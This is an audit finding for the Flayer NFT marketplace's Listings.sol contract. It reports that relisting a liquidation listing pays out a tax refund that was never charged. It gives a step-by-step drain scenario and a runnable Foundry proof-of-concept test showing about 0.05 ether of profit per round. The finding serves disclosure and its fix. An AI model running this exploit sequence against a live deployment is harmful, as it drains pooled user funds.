Clean Snowy Mustang

High

# No check if a listing is a liquidation when process tax refund in relisting

## Summary
No check if a listing is a liquidation when process tax refund in relisting, user can receive refund they didn't pay.

## Vulnerability Detail
When a protected listing is created, the user is charged no tax, when the protected listing is liquidated, no tax is required either. The liquidation listing can be relisted like normal listings, and tax is refunded to the listing owner regardless.

[Listings.sol#L643-L644](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L643-L644):
```solidity
        // We can process a tax refund for the existing listing
        (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
```

This can be leveraged by attacker to drain the funds in the contract, consider the following scenario:
1. Bob creates a protected listing by using a floor item, receives 0.95 ether;
2. At the next block, with another account, Bob liquidates his own protected listing right away to create a liquidation listing, he receives 0.05 ether keeper reward;
3. In the same transaction, Bob relists the liquidation listing, when it is processed, Bob receives some tax refund he never paid;
4. Again In the same transaction, Bob cancels the relisted listing, burns 1 ether to receive the floor item back.

After the exploit, Bob still owns the floor item plus the tax refund as a profit (In the PoC below, the profit is 51428571428571428 (0.0514 ether), even if the protected listing is liquidated by others, attacker still earns a profit without the keeper reward).

Please run the PoC in Listings.t.sol to verify:
```solidity
    function testAudit_RelistToDrain() public {
        address bob1 = makeAddr("Bob1");
        address bob2 = makeAddr("Bob2");

        ICollectionToken collectionToken = locker.collectionToken(address(erc721a));

        mintCollectionTokens(address(erc721a), bob2, 1, 4);
        erc721a.mint(bob1, 888);

        // Initially, Bob owns one ERC721 item and 4 ether collection tokens
        assertEq(erc721a.ownerOf(888), bob1);
        assertEq(collectionToken.balanceOf(bob2), 4e18);

        // Bob creates a protected listing
        IProtectedListings.CreateListing[] memory _listings = new IProtectedListings.CreateListing[](1);
        _listings[0] = IProtectedListings.CreateListing({
            collection: address(erc721a),
            tokenIds: _tokenIdToArray(888),
            listing: IProtectedListings.ProtectedListing({
                owner: payable(bob1),
                tokenTaken: 0.95 ether,
                checkpoint: 0
            })
        });

        vm.startPrank(bob1);
        erc721a.approve(address(protectedListings), 888);
        protectedListings.createListings(_listings);
        vm.stopPrank();

        // Bob's protected listing becomes liquidatable at the next block
        vm.warp(block.timestamp + 1);

        /**
            1. Bob liquidates his own protected listing;
            2. Bob relists the liquidaion listing;
            3. Bob cancells the listing
         */
        vm.startPrank(bob2);
        
        // Liquidating
        protectedListings.liquidateProtectedListing(address(erc721a), 888);

        // Relisting
        collectionToken.approve(address(listings), type(uint256).max);
        listings.relist({
            _listing: IListings.CreateListing({
                collection: address(erc721a),
                tokenIds: _tokenIdToArray(888),
                listing: IListings.Listing({
                    owner: payable(bob2),
                    created: uint40(block.timestamp),
                    duration: listings.MIN_LIQUID_DURATION(),
                    floorMultiple: 1_01
                })
            }),
            _payTaxWithEscrow: false
        });

        // Cancelling
        listings.cancelListings(address(erc721a), _tokenIdToArray(888), false);
        vm.stopPrank();

        //  At last, Bob still owns one ERC721 item and 4 ether collection tokens, plus 51428571428571428 collection balance in Escrow
        assertEq(erc721a.ownerOf(888), bob2);
        assertEq(collectionToken.balanceOf(bob1), 3950000000000000000);
        assertEq(collectionToken.balanceOf(bob2), 50000000000000000);
        assertEq(listings.balances(bob1, address(collectionToken)), 51428571428571428);
    }

    function mintCollectionTokens(address collection, address to, uint id, uint count) private {
        ERC721Mock token = ERC721Mock(collection);

        uint[] memory depositTokenIds = new uint[](count);

        for (uint i; i < count; ++i) {
            token.mint(address(this), id);
            depositTokenIds[i] = id;
            ++id;
        }

        erc721a.setApprovalForAll(address(locker), true);
        locker.deposit(collection, depositTokenIds, to);
    }
```

## Impact

Pool can be drained by repeating the exploit.

## Code Snippet

https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L644

## Tool used

Manual Review

## Recommendation

Check if a listing is a liquidation listing, and do not process tax refund if it is.

[Listings.sol#L644](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L644):
```diff
+       if (!_isLiquidation[_collection][_tokenId]) {
            (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
+       }
```